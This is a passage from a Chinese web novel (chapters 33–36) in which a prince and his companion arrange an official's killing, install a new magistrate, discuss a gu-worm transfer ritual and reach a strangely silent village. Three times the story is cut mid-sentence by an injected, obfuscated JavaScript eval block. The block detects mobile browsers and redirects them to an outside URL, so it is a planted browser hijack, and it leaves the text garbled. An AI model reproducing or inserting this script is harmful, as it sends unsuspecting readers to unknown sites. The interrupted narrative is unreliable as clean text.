虽然只是两年前,但对景煦和宓安来说却已是二十几年,景煦揉了揉额头,说道:“本王确实记性不好,趁天不亮先让暗卫送你回去,等白天本王再让人去接你,就说……” 他欲言又止,看了宓安一眼,试探道:“说什么?” 宓安瞥他:“就说清望邀他小住,这段时日先留在朝青。” 景煦点头:“对。” “谢殿下大恩,谢公子大恩。” 送走何汐,宓安深深呼出一口气,懒懒道:“睡觉了,明日天塌下来都不要叫醒我。” 景煦失笑:“好。” 翌日一大早,清望便天塌了一样嚎叫连连,将宓安从睡梦中吵了出来。景煦打开门,飞出一块布巾堵住了他的嘴,皱眉道:“什么事?” 清望拿下布巾,满脸惊恐:“前几日那个姑娘!变成男的了!” 景煦“砰”一声关上了门。 宓安已经被吵醒了,不由反思清望怎么长成了这样少根筋的性子。 前几日潜入孔志平府中的暗卫也回来了,据这几日探查到的,那两名信使竟然一边听孔玉宣的吩咐盯着孔志平,一边瞒着孔玉宣替孔志平私下联系北夷人,挣着两份银子。 又趴了一会儿,宓安突然开口:“乌连今住在朝青白吃白喝也太便宜他了。” 景煦心有灵犀,笑道:“孔志平对孔玉宣不像面上这么言听计从,一直想越过他直接搭上北夷人。” “西岐可比北夷有价值。”宓安随手翻了翻被暗卫扣下的信件,“不过乌连今不是一直不出屋吗?清望在哪里看到他的?” 与此同时的清望,正和清露一起蹲在树上,躲着乌连今小声交流。 清望幸灾乐祸:“你完了,你带回一个男人,殿下要揍你了。” 清露面无表情:“殿下只会揍你。” 宓安缓步过来,冲他们招了招手,二人赶紧下了树向宓安行了个礼,宓安笑道:“你们两个竟然能玩到一起。” 清露有些嫌弃地说道:“是属下先上来的。” “好了,清露,你去将昭王要离开雄山的消息散出去。清望,让乌连今来见我。”宓安边吩咐便随手摘了两朵芍药,又回屋去了。 清望看着宓安的背影,问清露:“乌连今是谁?” “还有谁?”清露看了他一眼,不想再多说,也离开了院子。 乌连今找来的时候,宓安正在院里煮茶,景煦两只手捧着杯子,巴巴地坐在一边。 乌连今越看越觉得这一幕有些说不出的诡异,先开口道:“青安公子,找我有事?” 宓安百忙之中抬头看了他一眼,说道:“五王子,有件事要你帮忙。” 乌连今抬起了下巴,满是目中无人的傲气:“说吧。” “帮我杀了孔志平。” 乌连今不敢相信自己听到了什么:“就杀个人?” 宓安点点头:“明日我会离开雄山,你等我走远,去向孔志平表明身份,其他的你自己编吧,总之最后杀了他就行。” 乌连今听得一头雾水,奇怪道:“这是为什么?” “孔玉宣与北夷有勾结。”宓安半真半假地忽悠乌连今,“孔志平就是他沟通北夷人的纽带,北夷若是得孔玉宣相助,西岐的处境会很危险。” 乌连今“哦”了一声,不确定道:“你已经决定站在我这边了?” “自然。”宓安示意景煦将杯子放下,替他倒了一杯煮好的芍药茶,“孔志平早就想越过孔玉宣了,这个时候有一个更强大的西岐送上门,他不会拒绝的。” 乌连今点了点头,没话找话道:“这茶好香,给我也尝尝呗?这人是谁啊?你怎么亲自给他倒茶?” 景煦抿了抿嘴,努力克制笑意,宓安面不改色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661339|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地忽悠道:“朝青的管事,这不是茶,是毒。” “原来如此,他这是在试毒。”乌连今眼睛一亮,“早就听说朝青主人医毒双绝,百闻不如一见,竟然有如此清香的毒药。” 眼见景煦表情逐渐扭曲,就要忍不住笑,宓安赶紧下了逐客令:“阁下先回去合计一下怎么骗孔志平吧,晚些时候再会。” 乌连今已经走远,景煦还伏在宓安身上笑得停不下来,宓安无奈道:“有这么好笑?” “他好蠢。”景煦平复了一下,忍住笑意,“朕一统天下的大业竟然如此简单。” 宓安:“……” 翌日天刚亮,景煦抱起还没睡醒的宓安上了马车,告别前来送行的孔志平,出城没多远就暗中回了朝青,又将宓安放回了床上。 等宓安清醒,孔志平眼中的他已经“离开”雄山了。 见两人回来,乌连今也不情不愿地起了床,按宓安的计划接近孔志平去了。 “什么时候出的城?”宓安翻了个身,懒懒地开口,“这几日睡得太晚,好没力气。” 景煦心疼他,抬手将床帐放了下来,低声哄道:“多睡会儿。” “不睡了,孔志平一死就让暗卫将西岐人杀了他的消息传到京中,到时北夷和西岐彻底翻脸,再将信使早就被孔志平策反的消息送到孔玉宣手上。”宓安闭着眼睛喋喋不休地交待了一通,突然收了声,“我同你说这么多做什么,你自己安排去。” 景煦笑了下,温声道:“听阿宓的。” 到时孔玉宣会怀疑孔志平与北夷达成了什么协议,西岐担心威胁自身才动手杀了孔志平,疑心一旦生出,结盟便不攻自破了。 虽然已经睡不着了,但宓安还是赖床赖到了晌午,直到朝青的人来通传,说辛夷楼主人求见,宓安才开始穿衣裳。 宓安戴好面具去了正堂,谭忍冬立刻起身相迎,冲他行了一礼:“多谢青安公子为雄山除去大患。” 宓安心道乌连今动作倒快,面上毫无波澜道:“谭姑娘多礼,并非在下所为。” 谭忍冬笑道:“青安公子一早就离开了雄山,我前来求见公子却露了面,想来是相信我不会多言。孔志平已死,即便未亲自动手,公子也定然有推波助澜之行。这声谢是替那些姑娘,也是替辛夷楼。” “谭姑娘是聪明人。”宓安从袖中拿出一本小册,交给了谭忍冬,“这是我近日研制的香方,谭姑娘不嫌弃的话,自用也好,售卖也可。” 谭忍冬道了声谢,宓安道:“这香方只有谭姑娘手中一本,朝青不会售卖。” “这……这怎么合适?”谭忍冬手中的小册突然重了千金,“不如辛夷楼与朝青合作售卖。” 宓安道:“就当替那些姑娘谢谭姑娘的仗义相助。辛夷楼以香料起家,朝青这些年抢了你们不少生意,也当我赔罪了。” 谭忍冬摇摇头,“生意场上本就各凭本事,辛夷楼技不如人,怎能说‘抢’。” “谭姑娘若是需要稀罕香料,尽管到朝青的铺子拿便是。日后若是我还有其他香方,也会差人送往辛夷楼一份。”宓安确实欣赏谭忍冬,香方虽然贵重,于他而言不过是费些功夫,“朝青很乐意与辛夷楼交个朋友。” 谭忍冬笑了下,将香方收好:“若是有缘,谭忍冬也很乐意交青安这个朋友。” 宓安递出一块玉佩,笑道:“已经是了。” 34. 亡兄 “主子,孔志平的师爷抓回来了。” 暗卫将一个穿着普通布衣的人扔到了景煦面前,宓安正在分花瓣,闻言往这边看了一眼,奇怪道:“怎么还是这张脸?” 师爷听到宓安的声音,抬头看了他一眼,瞬间瞪大了眼睛。 景煦凉凉的声音从一旁传来:“再看挖了你的眼珠子。” 宓安好笑地拉了拉景煦,这人没挖了孔志平的眼睛一直耿耿于怀到现在,幼稚的很。向来没有眼力价的暗卫已经准备动手了,宓安赶紧拦了下来,说道:“把他的易容卸了,我看看他长什么样子。” “有什么好看的。”景煦吹了吹手中的茶,随口道,“杀了拉倒。” 宓安却笑道:“说不定是熟人呢。” 景煦看向被暗卫暴力撕下易容的人,确实觉得有些眼熟,宓安打了个手势,树上的影十三跳了下来:“公子。” “去把何汐叫来。” 地上的人突然剧烈挣扎起来,暗卫将他死死按住,宓安摇了摇头,语气有些可惜:“何汐一定很难过。” 这师爷便是何汐口中的兄长,何潮。 何汐赶来时还不知道发生了什么,骤然看到多年不见的兄长被五花大绑,怔愣许久,好半天才看向宓安,声音颤抖:“他、他是……” 宓安点点头:“那日我见他脸上有易容,便留意了一下其他地方。他虎口处有块胎记,似乎和你手上那块在同一位置。” 何汐悬着的心好像突然坠入了谷底,却还是不死心地蹲在何潮身旁,问道:“兄长,是不是孔志平威胁于你?” 何潮被侧着身按在地上,斜眼看着他,嘲讽道:“我若说是,你会信?” 景煦波澜不惊地煽风点火:“你这些年应当见过他,孔志平那个师爷。”说着,抬手指了指地上的面具,笑道:“就是他易容的。” 何汐红着眼,死死盯着何潮,好像想在他脸上找出一点年少时的影子,按在地上的手指不自觉用力,深深陷在泥土里。 “所以兄长,你日日都能看见我?”何汐怒极反笑,满目悲凉,“看着我像个俵子一样被人羞辱玩弄?” 何潮不说话,何汐却平静下来,脸上的表情似哭似笑,几近癫狂。 宓安见他如此,有意安慰几句,但实在没有安慰人的经验,开口便是:“节哀。” 景煦:“?” 宓安看着景煦要笑不笑的样子,尴尬地轻咳一声,说道:“你兄长为孔志平出谋划策,戕害少女,我留他不得。” 何潮缓缓起身,语气平静:“青安公子说笑了,我的兄长,三年前就死在京中了。” 景煦倒是有些欣赏他这魄力,开口道:“本王以为你会问问他为什么。” “不重要了。”何汐走开了几步,站在落日余晖中回头看向树荫下的何潮,不论是什么理由,他已经不想知道了。 “孔志平已死,雄山知府就由你暂任吧。” 景煦不知从哪里抓来一只信鸽,揪着尾巴要给宓安看,后者嫌弃地挥开他的手,顺手给了他一巴掌。 将鸽子放走,景煦见何汐迟迟不说话,问道:“有顾虑?” 何汐躬身道谢:“多谢殿下抬爱,只是小人并无阅历经验,恐怕不能胜任。” “我听辛夷楼的谭姑娘说,她救出孔志平府中的女子时有人暗中帮了许多。”宓安看向何汐,“虽不知此人是谁,但她一直都想当面道谢。” 何汐垂下眼,宓安继续道:“她们都很感谢你,何汐。” 宓安的声音清清淡淡,何汐的耳尖微不可查地动了一下,他已经许多年没听过旁人叫他的名字了。 “我知你顾虑什么,但这些不堪不是你的错,况且……”宓安拖着下巴,“并不影响你做官吧。” “雄山百姓受孔志平欺压多年,现下一时也调不来新知府。”宓安熟练地拿百姓绑架何汐,“若是来日新官也是个贪赃枉法之辈,你会不会后悔今日没有答应?” 何汐苦笑一下,说道:“那小人……下官便多谢殿下厚爱了。只是新官上任需要陛下圣旨,这几日还请殿下暂时坐镇府衙。” 景煦冲暗卫打了个手势,道:“不必,本王做主了。” 暗卫将委任状拿了过来,空白的文书上已经盖好了吏部的大印,景煦写了几笔,将委任状给了何汐。 何汐目瞪口呆地接过:“那、那下官的谢恩折……” 景煦挥挥手:“免了。” “这是否不合规矩?”何汐看向宓安,“若陛下问起,殿下如何交待?” 越过皇上直接任命官员不是小事,何汐担忧也情有可原,宓安却无所谓道:“无妨。” 何汐闻言笑了下,感慨道:“素闻京中人人皆知来日的帝王非昭王殿下莫属,下官本以为是大皇子有意散出的谣言,原来竟当真如此。” 景煦奇怪道:“他哪有这个本事?” 京中暗处几乎被暗卫和朝青看的密不透风,景烈自然没有能散布谣言的本事,何汐不知其中关窍,只当景煦已然胜券在握,当即行礼道:“昭王殿下即位,是百姓之福。” 这话那日孟兆兴也说过,宓安拍了拍景煦的肩膀,语气深沉:“看来大家都对你寄予厚望。” 景煦被他逗笑,拉着宓安的手摩挲了几下,问道:“你很想我做皇帝?做皇帝可没空陪你了。” 何汐听得心惊胆颤,小心翼翼地放轻脚步离开了院子,宓安瞪了景煦一眼:“少在外人面前胡说八道。” “我可没胡说。”景煦抱着宓安的腰,将脸贴在他的肚子上,“如果你还想到处看山看水,我可以不皇帝,一直陪你。” 宓安好笑道:“即便出门看山看水,我又不是不回家了。” 听他说“家”,景煦更用力地抱紧了怀里的人,小声道:“那前世,阿宓说要离宫,其实也是会回家的?” 宓安实话实说:“那倒是没有,前世是真的想走。” 景煦一颗心碎成了两半,不由自主地想起了前世的一个春天。 那日正是谷雨,景煦与宓安依旧是心有隔阂,无话可说。景煦照常独自坐在御书房批折子,宓安难得主动寻了过来。 “阿宓?”景煦几乎以为自己看错了,连忙起身迎了过来,拉住了宓安的手,笑道:“怎么来御书房了?” 没等他让人添茶,宓安一句话让他的心落入了谷底。 他说:“陛下,臣是来辞官的。” 景煦缓缓转头看向他,问道:“我是不是听错了?” 宓安垂下眼,语气无波地重复:“臣是来辞官的。” 景煦坐回桌案前,拿起笔继续批起折子,语气强硬起来:“不许。” 宓安站在原地没有说话,依然垂着眼睛,景煦却已经看不进一个字。半晌,他将笔一扔,朱砂墨汁溅了满桌,染红了许多奏折。 景煦抬起头,不知是生气还是难过:“是我惹你不高兴了?” 宓安摇摇头,景煦又问:“那你这是什么意思?” “如今朝中无事,臣想出去看看。”宓安不敢与他对视,自顾自说着,“辞官而已,陛下登基后不是没有官员请辞。” 景煦看着他的脸,宓安已经三十有二,岁月却未曾在他脸上留下任何痕迹,这张脸仍然是他记忆中的精致明艳,这个人也仍然是他记忆中的无情。 “你不要阴阳怪气。”景煦气得笑出了声,“你现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680658|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一口一个‘陛下’,一口一个‘臣’,是故意气我?” 宓安袖中的手缓缓握紧,语气却仍然毫无起伏:“臣不敢。” “你赢了。”景煦将折子推到了一边,他不得不承认,宓安就是有本事气死他,他却不敢对宓安说一句重话,“你要把我气死了,我要卧床养病,宓相这几日不用过来了。” 他话题转的生硬,宓安也无可奈何,第一次被动离开了御书房。 后来暗卫边跟上了宓安,往日他还能偶尔回趟丞相府,现在竟是出宫都会被拦下来了。宓安不满自己像被软禁了一般,就要去找景煦,没想到每日恨不得黏在他身上的人竟然不见他了。 宓安气得甩手离开了御书房,自那日起,连早朝都不再去了,现在想来,那次二人竟然整整两个月未曾碰面。 宓安似乎也想起了这件事,好笑道:“表面上不见我,却日日深夜造访,好没出息。” “我向来没出息。”景煦在宓安面前从来没有面子,“一日不见,如隔三秋,我与阿宓岂不是百年没见了?”他理直气壮地乱算账,“那时不知道阿宓会武功,我还以为自己做的天衣无缝。” 宓安幽幽看向他:“就算不会武功,你身上那么热,烫都烫醒了。” 景煦笑了起来,宓安却突然皱了下眉,抚上了自己的心口:“景煦……” 宓安声音不稳,景煦连忙起身将他抱了起来,大步走进屋里,小心地将宓安放到床上:“哪里不舒服?” “疼了一下。”宓安指指自己的心口,“现在不疼了。” “现在就出发去南疆。”景煦说着就要叫暗卫备车,宓安拉住他:“已经不疼了,怎么也得等何汐正式上任再走。” 和宓安有关的事,景煦一刻也等不了,他脸色凝重地握紧了宓安的手,开口却是哄人的语气,轻柔得很:“只差祭祀而已,他自己难道应付不了?阿宓,你能不能听我一回?” 许是今日又想起了总是相顾无言的前世,宓安也心软起来,伸手抱住了景煦,小声道:“那我们现在就走。” 于是二人没有同任何人告别,只给清露留了张纸条,便继续踏上了前往南疆的行程。 路上景煦不停询问宓安有哪里不舒服,宓安见景煦太过担心,抬手捏了捏他的脸,无奈道:“真的只疼了一下。” 景煦始终不放心,宓安却突然问道:“前世蛊虫发作前你有什么症状?” 景煦想了下,说道:“没有任何前兆,就是突然有一天觉得内力受阻,后来身子就越来越无力。” “我倒还好。”宓安试着运转内力,送了景煦一些,“你看,运转正常。” “许是我内力至阳,会分出去对付蛊虫。”景煦看着他,“但阿宓的内力偏凉,说不定蛊虫就喜欢这样的环境,反而更利于生长了。” 他说的很有道理,也能解释下蛊的人选择宓安的原因,宓安却还在安慰他:“国师不是说了,一切顺利,你不要太担心了。” 提起枨衔水景煦就气不打一处来,当即没好气道:“上次就是他摸鱼撞钟才导致我回天乏术,阿宓怎么这么信任他?” 宓安好笑道:“正是因为国师已经吃过亏了,这次他一定会更加勤勉的。” 景煦不置可否,宓安继续替枨衔水说话:“况且国师也不是什么都没做,起码他交待了你别管我的死活,你若是……我不说了。” 眼见景煦脸色越来越难看,宓安及时收了声,凑过去轻吻了一下他的脸,哄道:“不会有事的,高兴一点,嗯?” 景煦这才脸色稍霁,抬手指了指自己的唇。 宓安失笑,又凑近轻吻了一下,刚想退开,却被景煦按住好好亲了一通。 35. 害羞 宓安才对枨衔水“一切顺利”的说法表示了深信不疑,二人的马车就被山匪拦了下来。景煦幽幽地看了宓安一眼,又攻击起了枨衔水:“早就说过他不靠谱,这一路上没有一件事是顺利的。” 说着,景煦就要让暗卫将人杀了拉倒,宓安拦住他,笑道:“我出去看看。” 宓安俯身出了马车,几个凶神恶煞脸上有疤的男人扛着大刀拦在马车前,宓安一眼看出这几人脸上的疤是假的,不由有些好笑,好脾气道:“诸位若是只求财,从我家护卫那人领些银子便是,动起手来对大家都不好。” 山匪哪里见过这样满身贵气,气质出尘的人,领头的山匪压根没听进宓安说什么,抡起刀指向了宓安,嚣张道:“老子不要钱,兄弟们,把他带上山!” 一群山匪听了这话,污言秽语地起哄,宓安笑容不变,转头对驾车的暗卫道:“殿下说了,杀了拉倒。” 暗卫出手利落,宓安进了马车刚坐好,外面就没了动静,只剩下一股粘腻的血腥味。 景煦又气又想笑,无奈道:“这一片的山匪暗卫还没剿到,我让他们动作快些。” 宓安冷着脸点头:“叫上朝青一起。” 马车缓缓驶远,直到再也闻不到血腥味,宓安才开口道:“现在只要一路往南走就好?” 景煦点点头,宓安又问道:“国师的金币呢?” “他不靠谱。”景煦将金币拿在手里抛来抛去,“在南兴楼时我抛过一次,一正一反。” 宓安好奇道:“你问了什么?” “我问,离开预川后应不应该一路不停直奔南疆。”景煦又在心里骂起了枨衔水,“金币让我随心。” “既然让你随心,应当不在雄山停留才是。”宓安好笑道,“明明是你不听国师的话,还怪国师不靠谱。” 景煦却看向他,认真道:“既是随心,当然是随你的心,我向来听阿宓的。” 宓安有些脸红,轻轻推了他一下,嗔道:“总是胡言乱语。” “哪有胡言,我可是字字真心。”景煦拉住宓安的手,有些不大高兴,“你已经不舒服了,这次不论遇到什么都不许耽搁了。” 宓安想说自己真的只疼了那一下,对上景煦满是担忧的眼睛却什么也说不出了,于是轻轻靠近了景煦怀里,小声道:“听你的。” 他难得如此乖巧,景煦心头一软,将人抱坐在腿上,低头亲了下去。 “别动手动脚。”宓安撑着景煦的胸口,在他炙热的亲吻中好不容易分开了些,“跟我讲讲,前世引蛊的法子是怎么做的?” 景煦动作一顿,小心道:“不是说吵架才翻旧账,现在可没吵架。” 宓安笑了出来,掐了一把他的脸:“这段时间我总在看有关蛊虫的典籍,但从没见过引蛊的法子,我只是好奇。” 景煦“哦”了一声,犹豫了半天,宓安见他肉眼可见的脸红起来,惊讶地睁大了眼睛:“你脸红什么?” 景煦扭头不看他:“没什么。” 宓安活了两辈子,还是第一次见到景煦这副神态,这人平日里油嘴滑舌,撩拨起他什么话都敢说,竟然也会害羞吗? “天呐。”宓安忍不住感叹,“你也会害羞?” 景煦有些恼羞成怒,红着脸转过头看宓安:“我害羞怎么了?” “骗我上床的时候可没见你害羞,让你说说怎么引蛊倒知道脸红了。”宓安好笑,“到底是什么见不得人的法子?” 景煦不回答,小声说道:“谁说的,骗你……那什么的时候我也……” 他支支吾吾地不肯直说,宓安将手贴在他的脸上,笑得停不下来:“也像现在这样脸红吗?那真是遗憾,当时我神志不清,没有看到。” 景煦将脸埋在宓安怀里,后者轻轻揪着他的耳朵,带着笑意威胁道:“不要以为这样就能转移话题,到底是怎么做的?” “典籍上记载的是两人将手臂划开一道,贴在一起,血液交融后,能暂时迷惑蛊虫,让它以为是同一个人,自己爬进引蛊人的身体里。”景煦的声音闷闷的,“然后引蛊人喝下对方的血,让蛊虫逐渐适应新身体就可以了。” 宓安奇怪道:“为何不趁蛊虫爬出的时候立刻将它杀死?” “书上说蛊虫看似小小一个,其实尾端拖着长长的毒线,要它全部进入引蛊人的身体,中蛊者才能完全摆脱它。” 景煦摸了把宓安的腰,被他拍开了手,委屈巴巴地继续说道:“所以才要求两人内力相当,且心甘情愿。中间若是分开了,蛊虫会立刻释放毒素。” 宓安抚上自己的小臂,问道:“前世我手臂上似乎没有受伤的痕迹。” 景煦“啊”了一声:“因为我用的不是这个法子,你肯定不会乖乖配合,太危险了。” “那你用的什么法子?” 景煦脸又红了,握着宓安的手不自觉地一下下勾着他的手心:“也不是非要用血,那什么……也是一样的。” 宓安不明所以:“什么?” 景煦低着头不说话,宓安一瞬间明白过来,脸色骤然变红,抬手就给了景煦一巴掌,怒道:“果然是见不得人的法子!” 景煦揉了揉后脑勺,抱着宓安笑了起来。 “你还笑!”这下轮到宓安脸红了,两手捏起景煦的脸狠狠揉搓了一通,挣扎着就要起来,“放开我!不许抱我不许亲我,以后也不许上我的床!” “阿宓别气。”景煦将人紧紧抱住,宓安连耳垂都红了,突然又想起了什么,问道:“你说引蛊人要喝下中蛊者的血,你、你、你喝……” 宓安舌头差点打了结,景煦眨眨眼,语气里满是理所当然:“对啊。” 宓安低头捂住了脸,沉默了半晌,起身拉开了马车的门帘:“滚出去。” 又被赶出马车的昭王殿下和驾车的影五并排坐着,深深叹了口气。 风过林间,惊起几只飞鸟,华丽的马车平稳地驶过,宓安靠着车壁,脑海里不停闪过前世那晚,零零碎碎的画面拼接不成完整的回忆,但炙热的触感仿佛还在眼前。 那夜是宓安彻底疏远景煦的导火索,他一直自欺欺人地认为是景煦强迫了自己,可他当时似乎也半推半就着沉溺其中。 现在知道了景煦从一开始就怀着替他受蛊的心思,他却冷漠无情一味躲着景煦,宓安整颗心被愧疚填满,愣愣地看着车帘出神。 车外的景煦有一阵没听到宓安的动静了,小心翼翼地将车帘拉开一个缝隙:“阿宓别气了。” 宓安回过神,对上景煦的眸子,后者被他泛起泪花的眼睛吓了一跳,几乎是爬进了马车里,伸手将他的眼泪擦干,急道:“别哭别哭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694625|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知错了,你打我吧。” 景煦以为自己把人气哭了,拉着宓安的手扇自己,宓安却抽出手,紧紧抱住了他的腰。 “别哭。”景煦轻轻抚摸宓安的头,像哄小孩一样,“小时候被宓将军打都没见你掉过眼泪,怎么越大越爱哭了。” 宓安声音轻柔,还有些委屈:“前世也没少哭。” 景煦不敢置信,托起宓安的下巴和他对视:“什么时候?” 宓安移开视线,语气生硬:“你看不到的时候,我日日以泪洗面。” 景煦心头一紧,轻轻吻去宓安的眼泪:“对不起。” 宓安看着他满眼心疼,破涕为笑,又将脸埋回了景煦怀里,声音带着笑意:“骗你的。” 景煦也笑了起来,暗自松了口气。 不到半月,一行人已经进入了原来的姑师境内,一个小国的覆灭几乎没什么水花,只是守城军备换了一批人,王城也空空如也了。 宓安往王城的方向看了一眼,景煦侧身挡住他的视线,不容抗拒地将宓安的脸转回前方:“不许想什么宝藏了,先清了你的蛊再说别的。” 宓安只好遗憾地收回视线。 手里的玉佩看起来只差半块,之前的半块玉佩和一颗珠子都是巧合下主动到了宓安手中,但这小半月来却风平浪静,宓安轻轻摩挲着玉佩上的珠子,突然指尖一疼,竟然被划出了一个小口,血珠沾在珠子上,缓缓渗了进去。 宓安愣住了,第一反应不是担心自己,而是心虚起来,缓缓转头看向正在低头看文书的景煦,小声道:“景煦……” 景煦抬起头:“在呢。” 宓安将玉佩和珠子放在他面前的桌上:“我的手指被它划破了,血好像渗进珠子里了。” 景煦急忙拉过宓安的手,却见指尖光洁如旧,不见伤口,宓安奇怪地“咦”了一声:“这就愈合了?” 那珠子本是浅蓝色,因为其中的冰裂细纹更显通透,现在那些细纹竟然变成了红色,景煦将珠子拿在手里,越看越觉得它现在像个邪物。 “身体有没有不适?”景煦皱着眉,“玉石珠子竟然能划伤你,邪的很,我不该拿给你的。” 宓安摇摇头:“这珠子和清望给的玉佩都是阴差阳错到我手里的,说不定就是国师所说的‘机缘’呢。” 景煦这段日子有些烦躁过头了,宓安身体里的蛊一日不清,他就一日不能安心。现在宓安又莫名其妙被这邪门珠子吸了血,景煦只觉得自己从来没有这么无力过。 从小到大,父亲漠视,兄弟陷害,奴才轻贱,他都有能游刃有余地化解,面不改色地报复,前世登基后面对繁杂的政事和党争也能有条不紊地处理,可偏偏宓安的蛊,他束手无策。 “长昱。”宓安突然起身,将景煦抱在了怀里,轻轻揉了揉他的头,“不要自责,我这不是好好的。” 景煦抬手紧紧抱住他,笑道:“阿宓难得这么叫我。” “喜欢听那我常叫就是了。”宓安好笑道,“你爱听什么?景煦?长昱?殿下?陛下?” “爱听相公。” “这个不行。”宓安将景煦的脸按在自己怀里,红着脸移开话头,“太阳都落山了,我要睡了。” 景煦笑了下,正要将人抱起来,影五的声音传了进来:“主子,前面有村落。” 36. 偷听 景煦掀开车帘看了一眼,姑师城外竟然藏着一片平矮石屋错落组成的村落,石屋有些破旧,长满了青苔,家家户户门前都燃着火把。小村落被一片树林掩盖住,颇有些与世隔绝的意味。 已经入夜,村中已经没有人影,马车驶过的声音在一片寂静中格外刺耳,景煦让影五停下马车,静心听了半晌,奇怪道:“太安静了。” 宓安小声道:“虽已入夜,但连飞鸟落叶的声音都没有,太奇怪了。”说着,他向马车外伸了伸手,面色凝重:“这里没有风。” 听他一说,景煦才注意到,自从进到这个村子,连发丝都没被吹动过。 二人沉默片刻,只见小路尽头缓缓走出一个人影,脚步蹒跚,似乎是个老人家。来人慢慢走近,苍老的声音像破旧的风箱:“几位来此,是有何贵干啊?” 宓安下了马车,拱手行礼,客气道:“我与家兄游山玩水,路过此地,不知村中可有歇脚的客栈?” 老人眯着眼睛看了宓安一会儿,说道:“我们村子偏僻,没来过外人,自然也没有客栈。贵客若是不嫌弃,便到老朽家中歇一晚吧。” “那便多谢老人家了。”宓安转身去扶景煦,冲他眨了眨眼,说道,“我兄长身子不好,舟车劳顿真是折腾他了,幸好遇到了您。” 老人带着三人向自己家走去,闻言说道:“身子不好应当静养才是。” 景煦配合地咳了两声,宓安道:“大夫让家兄出门走走,强身健体,说是躺在屋子里不见天日反而会越养越虚。” 老人点了点头:“言之有理。” “不知老人家如何称呼?”宓安带着笑,端的是稚气未脱的贵家公子,“我们会付您银子的。” “村里人都称呼老朽一声‘隆村长’,这时间久了,老朽也不记得自己的名字了。”隆村长虽然年纪大了,精神头却不错,“银子就不必了,这里难得来客人,二位与笼岱村也算有缘。” 说话间,一行人已经到了隆村长家门口,七拐八绕的小路已然让影五昏了头,景煦却留心记下了路线,稍稍捏了捏宓安的手。 “三位自便,夜深了,就不要出门了。村里小路多,容易迷路。”隆村长点上屋里的蜡烛,交代了几句便离开了。 一时院内只剩三人,景煦和宓安自然睡一间屋子,影五已经露了面,也不好骤然消失,只好暂时歇在了二人的隔壁。 关了门,宓安将这间屋子的角角落落都扫视一遍,问道:“景煦,你觉得这个隆村长,是不是认识你?” “何以见得?” 宓安将蜡烛熄灭,摸着黑拉住了景煦的手:“这村里人应该也是姑师人,他们会不认识覆灭自己国家的罪魁祸首吗?” “我可没动手。”即便漆黑一片,景煦也能清晰地看见眼前的人,他伸手将宓安揽了过来,笑道,“姑师兵力孱弱,哪里需要我亲自带兵。那次出征就连大渊的将士们都没见过我的脸,他们要恨也是恨我那几个副将。” 宓安感叹道:“好奸诈。” “怎么能用奸诈这种词。”景煦凑近,轻吻了一下宓安的下唇,“为夫这是足智多谋。” “别闹了。”宓安躲开他,“这村落的布局,屋前的火把,都像极了书中记载的南疆蛊村。虽然隆村长脸上没有蛊师特有的血纹,还是小心为上。” “这村子离王城不远,那时我竟然毫无察觉。”景煦闭了闭眼,重新适应夜色,“阿宓,这世上真有阵法这种东西吗?” 宓安道:“我所知的‘阵法’只是利用地形和景观干扰人的认知判断,但……若是国师有让人起死回生,甚至扭转时空的能力,其他人也未尝不可。” 景煦也是第一次知道枨衔水的本事,虽说前世见过几次,但他一直以为对方只是常年躺在占星台享福的神棍。如今亲身经历过不合常理的事,景煦也不得不提起精神多多防备了。 两人正小声说着话,一直放在景煦怀里的金币突然散着微弱的金光,互相碰撞,叮当作响,宓安伸手将金币拿了出来,往床上一抛。 两枚金币轻轻落下,反面向上。 宓安好笑道:“这是何意?” 景煦犹豫片刻,说道:“意思是……我们猜错了?” 金币竟然自己在床上翻了个面。 宓安目瞪口呆,景煦皱着眉骂道:“偷听我和阿宓讲话还装神弄鬼,你干脆写个条子把路指明算了。” 金币没有动静,宓安笑道:“我猜国师现在一定在骂你,‘知不知道什么叫天机不可泄露!不可泄露你懂不懂’。” 景煦冷哼一声:“那他什么意思,出发前说一切顺利,出来几个月了,哪件事是顺利的?” 宓安笑着揉了揉他的脸,说道:“我猜国师是想说,这些超脱常理的事只有他能做到,别人不行的。” 话音刚落,两枚金币立了起来,又正面向上倒了下去,像是在肯定宓安的话,景煦愣了一下,不可置信道:“他真的在偷听啊?深更半夜偷听别人夫妻夜话,他……” “景煦。”宓安听到“夫妻夜话”,忍无可忍地打断道,“你少胡说八道。” 景煦哼了两声,将金币重新揣回怀里:“夜深了,先睡觉。” 